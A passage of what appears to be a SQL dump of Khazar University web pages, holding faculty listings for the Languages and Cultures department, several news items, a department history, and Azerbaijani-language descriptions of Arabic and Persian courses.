href=\"mailto:sevinj.allahverdiyeva@khazar.org\">sevinj.allahverdiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr><p><img src=\"/files/image/Sadagat_Jumayeva.PNG\" style=\"width:150px;height:205px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/languages_depart/CV-Sadaqat-Jumayeva.pdf\">Sədaqət&nbsp;Cumayeva</a></strong></p><p><strong><strong>Alman&nbsp;dili və Ədəbiyyatı müəllimi&nbsp;</strong>  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sadagat.jumayeva@khazar.org\">sadagat.jumayeva[at]khazar.org</a>  <a href=\"mailto:Aytac1997.97@mail.ru\"></a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/languages_depart/gunay.PNG\" style=\"float:left;width:150px;height:142px;margin:7px\"><strong><a href=\"http://www.khazar.org/files/languages_depart/Gunay_Qasimova_CV.pdf\">Günay Qasımova</a></strong></p><p><strong><strong>İtalyan&nbsp;dili və Ədəbiyyatı müəllimi&nbsp;</strong>  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gunaygasimova@gmail.com\">gunaygasimova[at]gmail.com</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/languages_depart/LI%20Y%20a.png\" style=\"width:150px;height:178px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/languages_depart/CV-Europass-20170112-Li-EN.pdf\">Li Ya</a></strong></p><p><strong>Çin dili və Ədəbiyyatı müəllimi</strong></p><p>MS&nbsp;in Teaching Chinese to Speakers of Other Languages (Peking University, China)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:xiaoying796@163.com\">xiaoying796[at]163.com</a></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/languages_depart/CV_Ba%C4%9F%C4%B1rzad%C9%99_V%C9%99fa.pdf\"><img src=\"http://www.khazar.org/files/languages_depart/vafa_b.png\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Vəfa Bağırzadə</a></strong></p><p><strong><strong>Fransız dili və Ədəbiyyatı müəllimi&nbsp;</strong>  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:vafabagirzade@yahoo.com\">vafabagirzade[at]yahoo.com</a></p><p><br></p><p><br></p><p><br></p>  <hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/languages_depart/rustam_lazimov_cv.pdf\"><img src=\"/files/languages_depart/rustam_lazimov.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Rüstəm Lazımov</a></strong></p><p><strong>Fars dili və&nbsp;Ədəbiyyatı müəllimi&nbsp;</strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:rustam.lazimov@gmail.com\">rustam.lazimov[at]gmail.com</a></p>'),(5992,3422,'en','Instructors of the Department of History of Archaeology participate in the opening ceremony of the exhibition “People are grateful to you!”','On September 14, 2018, Roza Arazova, Head of the Department of History of Archaeology, Sabuhi Ahmadov...','<p>On September 14, 2018, Roza Arazova, Head of the Department of History of Archaeology, Sabuhi Ahmadov and Orkhan Zamanov, Instructors of the Department, participated in the opening ceremony of the exhibition “People are grateful to you!” held at the National Museum of History of Azerbaijan, ANAS.</p><p>The exhibition, dedicated to 100th anniversary of the Islamic Army of the Caucasus and liberation of Baku, was organized on a joint attempt of the National Museum of History of Azerbaijan and Embassy of Turkey to Azerbaijan. The ceremony was held at \"Orient\" hall of the Museum. It is remarkable that 100 years ago H.Z.Taghiyev held a reception in honour of the Islamic Army of the Caucasus, and especially in honor of Nuru Pasha.</p><p>Academician Naila Valikhanli, Director of the Museum; Academician Nargiz Akhundova, Academic-Secretary of the Department of Social Sciences of ANAS; Erkan Ozoral, Ambassador Extraordinary and Plenipotentiary of the Republic of Turkey to the Republic of Azerbaijan; Prof. Dilara Seyidzadeh, Head of the Secretary of the President of the Republic of Azerbaijan and Assistant to the President, delivered speeches at the opening ceremony. Sabuhi Ahmadov, Curator of the exhibition, provided information on the essence, structure and exhibits of the exhibition.</p><p>After the speeches, the attendees had a look at the exhibition.</p><p>The exhibition will be available until December 14, 2018.</p><p>Photos reflecting military and political events happened in 1918 in Azerbaijan as well as the anti-Azerbaijani policy of the Baku Soviet, the genocide of Azerbaijanis, the establishment of the Islamic Army of the Caucasus and liberation of Baku are demonstrated at the exhibition. Moreover, arms and flags of the Museum, memorabilia and gifts, auxiliary historical materials and more than 120 unique historical exhibits are also demonstrated.</p>'),(3169,1871,'az','Xəzər Universitetində “Təhsil və media” mövzusunda mətbuat konfransı keçiriləcək','2017-ci il fevralın 10-da saat 12:00-da Xəzər Universitetində “Təhsil və media” mövzusunda mətbuat konfransı keçiriləcək...','<p>2017-ci\r\nil fevralın 10-da saat 12:00-da Xəzər Universitetində “Təhsil və media”\r\nmövzusunda mətbuat konfransı keçiriləcək.&nbsp;\r\nMedia nümayəndələri dəvət olunurlar.</p>\r\n<p><strong>Ünvan:</strong> Xəzər Universitetinin Neftçilər kampusu, Məhsəti\r\nküçəsi, 41 (“Neftçilər” metro stansiyası), Mərmər salon</p>\r\n<p><strong>Əlaqə:</strong> (050) 321 31 69</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (012) 323 93 13</p>'),(2380,1442,'en','Center Director at EU ISSICEU Project Meeting','On October 14-15, Dr. Farda Asadov, Director of the Center for Eurasian and Middle East Studies, participated in an international meeting in Tbilisi for the European commission ISSICEU...','<p>On\r\nOctober 14-15, Dr. Farda Asadov, Director of\r\nthe Center for Eurasian and Middle East Studies, participated in an\r\ninternational meeting in Tbilisi for the European commission ISSICEU project on\r\nEuropean Policy research in the Caucasus. The meeting introduced research\r\nresults from the research centers of German, Swiss, Russian, Georgian and\r\nTurkish partner universities. Dr. Asadov also made a presentation about Khazar\r\nUniversity research, including a sociology survey conducted as part of the\r\nproject and presentations of academic writing, and he noted that the\r\npreparation of recommendation packets on European policy regarding development\r\nof factors that would provide stability in the Caucasus is a measure of the\r\nproject’s success. Khazar University’s achievements were highly evaluated by\r\nthe consortium leadership and members. &nbsp;</p>'),(862,573,'en','Faculty and Staff','Faculty and Staff','<img src=\"/files/languages_depart/zivar_b.jpg\" style=\"margin:7px;float:left;width:150px;height:194px\"><p><a href=\"http://www.khazar.org/files/languages_depart/CV_Zivar_Huseynli_2018.pdf\" style=\"font-weight:bold\">Zivar Huseynli Baylan</a><strong>&nbsp;- Associate&nbsp;Professor</strong></p><p><strong><a href=\"http://www.khazar.org/files/languages_depart/CV%20Zivar%20Huseynli.english.new.doc\"></a></strong><strong>Coordinator of&nbsp;Languages and Cultures Department</strong></p><p><strong></strong>PhD in&nbsp;Persian Language and Literature (University of Tehran, Iran)</p><p>MS&nbsp;in&nbsp;Persian Language and Literature (University of Tehran, Iran)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zhuseynova@khazar.org\">zhuseynova[at]khazar.org</a></p><p><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (215)</p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/NewFolder/Sevinc%20Allahverdiyeva%20cv.pdf\"><strong><img src=\"/files/image/sevinc%20Allahverdiyeva.png\" style=\"width:150px;height:182px;margin:7px;float:left\"></strong></a><strong><a href=\"http://www.khazar.org/files/languages_depart/Sevinc_Allahverdiyeva_CV_2018.pdf\">Sevinj&nbsp;Allahverdiyeva</a></strong></p><p><strong>Instructor of German Language and Literature</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sevinj.allahverdiyeva@khazar.org\">sevinj.allahverdiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"/files/image/Sadagat_Jumayeva.PNG\" style=\"width:150px;height:205px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/languages_depart/CV-Sadaqat-Jumayeva.pdf\">Sadagat Jumayeva</a></strong></p><p><strong>Instructor of German Language and Literature</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sadagat.jumayeva@khazar.org\">sadagat.jumayeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/languages_depart/gunay.PNG\" style=\"float:left;width:150px;height:142px;margin:7px\"><strong><a href=\"http://www.khazar.org/files/languages_depart/Gunay_Qasimova_CV.pdf\">Gunay Gasimova</a></strong></p><p><strong>Instructor of Italian&nbsp;Language and Literature&nbsp;</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gunaygasimova@gmail.com\">gunaygasimova[at]gmail.com</a></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/languages_depart/LI%20Y%20a.png\" style=\"width:150px;height:178px;margin:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/languages_depart/CV-Europass-20170112-Li-EN.pdf\">Li Ya</a></strong></p><p><strong>Instructor of Chinese Language and Literature</strong></p><p>MS&nbsp;in Teaching Chinese to Speakers of Other Languages (Peking University, China)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:xiaoying796@163.com\">xiaoying796[at]163.com</a></p><p><br></p>\r\n<hr><p><strong><a href=\"http://www.khazar.org/files/languages_depart/CV_Ba%C4%9F%C4%B1rzad%C9%99_V%C9%99fa.pdf\"><img src=\"http://www.khazar.org/files/languages_depart/vafa_b.png\" style=\"float:left;width:150px;height:182px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Vafa Bagirzada</a></strong></p><p><strong>Instructor of French&nbsp;Language&nbsp;<strong>and&nbsp;Literature&nbsp;</strong>  </strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:vafabagirzade@yahoo.com\">vafabagirzade[at]yahoo.com</a>  </p><p><br></p><p><br></p> <br><hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/languages_depart/rustam_lazimov_cv.pdf\"><img src=\"/files/languages_depart/rustam_lazimov.jpg\" style=\"width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Rustam Lazimov</a></strong></p><p><strong><strong><strong>Instructor of Persian language&nbsp;and&nbsp;<strong>Literature</strong></strong>&nbsp;</strong><br></strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:rustam.lazimov@gmail.com\">rustam.lazimov[at]gmail.com</a>  <br></p><p><strong><br></strong></p>'),(4304,2534,'en','Interview with Hamlet Isakhanli was broadcast','On October 15, 2017, the interview with Prof. Hamlet Isakhanli, the founder of Khazar...','<p>On October 15, 2017, the interview with Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, was broadcast in the programme \"Always on vacation\" on the ‘Ictimai’ Radio Channel.</p>'),(863,574,'az','Tarixi','Tarixi','<p><span style=\"text-align:justify\">Dillər və mədəniyyətlər departamenti 2015-cil\r\nmay ayının 1-də Şərq Dilləri və Dini Araşdırmalar departamenti və Müasir Dillər\r\nvə Müqayisəli Ədəbiyyat departamentinin əsasında yaradılmışdır. Dillər və mədəniyyətlər\r\ndepartmenti dünya dilləri və mədəniyyətlərini öyrənmə imkanı yaradır.&nbsp;</span><span style=\"text-align:justify\">Department alman, fransız, ispan, italyan, rus və digər Qərb dilləri,</span><span style=\"text-align:justify\"> o cümlədən\r\nçin, koreya, türk, ərəb, fars, ivri və urdu kimi Şərq dillərinin tədrisini\r\nhəyata keçirir. Department həmçinin Şərq və Qərbin qədim və müasir mədəniyyətlərinin\r\ntədris və tədqiqi ilə məşğul olur.</span></p>'),(864,574,'en','History','History','<p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The department was established in its present form on May 1<sup>st</sup>, 2015, on the basis of two departments: the Department of Eastern Languages and Religious Studies and the Department of Modern Languages and Comparative Literature. The new Department of Languages and cultures provides possibilities to study both world languages and cultures. The department offers a wide range of Western languages such as German, French, Spanish, Italian, Russian etc. as well Eastern languages such as Chinese, Korean, Turkish, Arabic, Persian, Hebrew, and Urdu. The Department also focuses on ancient and modern cultures of the West and the East.  <br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Among the main goals\r\nof the Department are the following:</p><ul><li>To develop students’\r\nproficiency in modern foreign languages of the West and East through improving\r\nfour language skills (speaking, listening, reading, writing)</li><li>To expand students’\r\nunderstanding of cultural-historical knowledge and the world’s cultural\r\ndiversity through integrative learning, critical thinking, and analytical study\r\nof cultures, religions, and societies</li><li>To conduct research\r\nand organize various programs on new approaches of teaching foreign languages,\r\nstudy of cultures and cultures</li></ul>'),(865,575,'az',' Fənlərin təsviri',' Fənlərin təsviri','<div><br></div><div><div><p><strong>ARAB 201:Ərəb dili &nbsp;-1 (6&nbsp;kredit)&nbsp;</strong></p><p><strong>İlkin şərt yoxdur&nbsp;&nbsp;</strong></p><p style=\"text-align:justify\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yazı kimi əsas dil bacarıqları başda olmaqla ərəb hərfləri, tələffüz və qrammatikanın da daxil olduğu standard ərəb dilinin əsaslarını tədris etməkdir. Bu kursda ərəb dilini başa düşməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarığına yiyələnməsi tələb olunur.</p><p><br><strong>ARAB 202: &nbsp;Ərəb Dili-2 (6&nbsp;kredit)</strong></p><p><strong>&nbsp;</strong><strong>İlkin Şərt ARAB 201</strong></p><p style=\"text-align:justify\">ARAB 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi və ərəb dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.&nbsp;</p><p><br></p><p><strong>ARAB 301: Ərəb Dili-3 (6&nbsp;kredit)</strong></p><p><strong>İlkin Şərt ARAB 202</strong></p><p style=\"text-align:justify\">Bu kurs ərəb dilinin iki səviyyəsini tamamlamış alt orta səviyyədə yazı, oxu, danışıq və qavrama bacarığına malik və bu bacarıqları bir-birinə uyğun şəkildə mənimsəməyə davam edən tələbələr üçün nəzərdə tutulmuşdur. Tədrisi əsasən ərəb dilində keçirilən kurs tələbələrin müasir və klassik ərəb dili biliklərini inkişaf etdirməyi nəzərdə tutur.&nbsp;</p></div><p><br></p><p><strong>ARAB 302: Ərəb Dili-4 (6&nbsp;kredit)</strong></p><p><strong></strong><span style=\"background-color:#ffffff;color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:18px\"><strong>İlkin Şərt ARAB 301</strong></span></p><p style=\"text-align:justify\"><span style=\"background-color:#ffffff;color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:18px\"></span><span style=\"text-align:justify;background-color:#ffffff;color:#252525;font-family:\'Source Sans Pro\', sans-serif;font-size:18px\">ARAB 301 kursunun davamı kimi kurs tələbələrin dörd dil bacarığının yüksək səviyəyə çatdırılmasını nəzərdə tutur. Kurs üçün nəzərdə tutulmuş mətnlər dilin tədrisi baxımından muasir ərəb dililin əsas xüsusiyyətlərini özundə əks etdirir.&nbsp;</span></p>\r\n<p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>ARAB 401 Ərəb Ədəbiyyatı (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt ARAB 301</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Krsun başlıca məqsədləri tələbələrin klassik, ənənəvi və müasır ərəb ədəbiyyatından seçilmiş orijinal nümunələri oxuma və müzakirə etmə qabiliyyətini inkişaf etdirmək, bədii və tənqidi əsərlərin mədəni və tarixi mənşəyini öyrənmək, ədəbi üslubların oxşar və fərqli cəhətlərini müəyyənləşdirmək, müasir ərəb ədəbiyyatından götürülmüş müxtəlif mövzuların tarixi, filoloji və tənqidi cəhətdən araşdırılmasını həyata keçirməkdir.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>ARAB 403 Danışıq ərəb dili (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt ARAB 302</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Kursun əsas hədəfləri tələbələrin dinləmə və danışıq bacarığını inkişaf etdirmək, ARAB 201, 202, 301, 302 kurslarında öyrəndikləri leksik və qrammatik biliklərindən istifadə etməklə müxtəlif mövzularda yazılı və şifahi formada özlərini səlis ifadə etmə bacarığını formalaşdırmaqdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>ARAB 402 Tərcümə Təcrübəsi (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt ARAB 301</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Müasir nəşrlərdən seçilmiş materiallar əsasında kurs oxu, danışıq və dinləmə bacarıqları ilə yanaşı tələbələrin tərcümə bacarıqlarını inkişaf etdirməyi hədəfləyir.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>PERS 201 Fars Dili -1 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt YOXDUR</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Kursun məqsədi tələbələrə dinləmə, oxu, danışıq və yazı kimi əsas dil bacarıqları başda olmaqla fars hərfləri, tələffüz və qrammatikanın da daxil olduğu standard fars dilinin əsaslarını tədris etməkdir. Bu kursun sonunda fars dilini başa düməyən və ya o dildə danışa bilməyən tələbələrin yazma, sadə cümlə qurma və elementar səviyyədə danışma bacarığına yiyələnməsi tələb olunur.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>PERS 202 Fars Dili -1 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt PERS 201</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">PERS 201 kursunun davamı olaraq bu kursun əsas məqsədi öncəki kursda əldə olunmuş dörd dil bacarığının daha da inkişaf etdirilməsi və fars dilinin elementar səviyyədə başa düşülməsi, oxunması, yazılması və danışılmasıdır.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>PERS 301 Fars Dili -3 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt PERS 202</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Bu kurs fars dilinin iki səviyyəsini tamamlamış alt orta səviyyədə yazı, oxu, danışıq və dinləmə bacarığına malik və bu bacarıqları müvafiq şəkildə mənimsəməyə davam edən tələbələr üçün formalaşdırılmışdır. Tədrisi əsasən fars dilində keçirilən kurs tələbələrin müasir və klassik fars dili biliklərini inkişaf etdirməyi hədəfləyir.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>PERS 302 Fars Dili -4 (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt PERS 301</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">PERS 301 kursunun davamı kimi kurs tələbələrin dörd dil bacarığının yüksək səviyəyə çatdırılmasını nəzərdə tutur. Kurs üçün nəzərdə tutulmuş mətnlər dilin tədrisi baxımından muasir fars dililin əsas xüsusiyyətlərini özundə əks etdirir.&nbsp;</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\"><br></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>PERS 401 Fars Poeziyası (6&nbsp;kredit)</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><strong>İlkin Şərt PERS 301</strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); text-align: justify;\" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" text-align:=\"\" justify;\"=\"\">Kursun başlıca məqsədləri tələbələrin klassik, ənənəvi və müasır fars ədəbiyyatından seçilmiş orijinal nümunələri oxuma və müzakirə etmə qabiliyyətini inkişaf etdirmək, fars poeziyasının müxtəlif xronoloji dövrlərinin mədəni və tarixi mənşəyini öyrənmək, ədəbi üslubların oxşar və fərqli cəhətlərini müəyyənləşdirmək, müasir fars poeziyasından müxtəlif mövzuların tarixi, filoloji və tənqidi cəhətdən araşdırılmasını həyata keçirməkdir.</p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 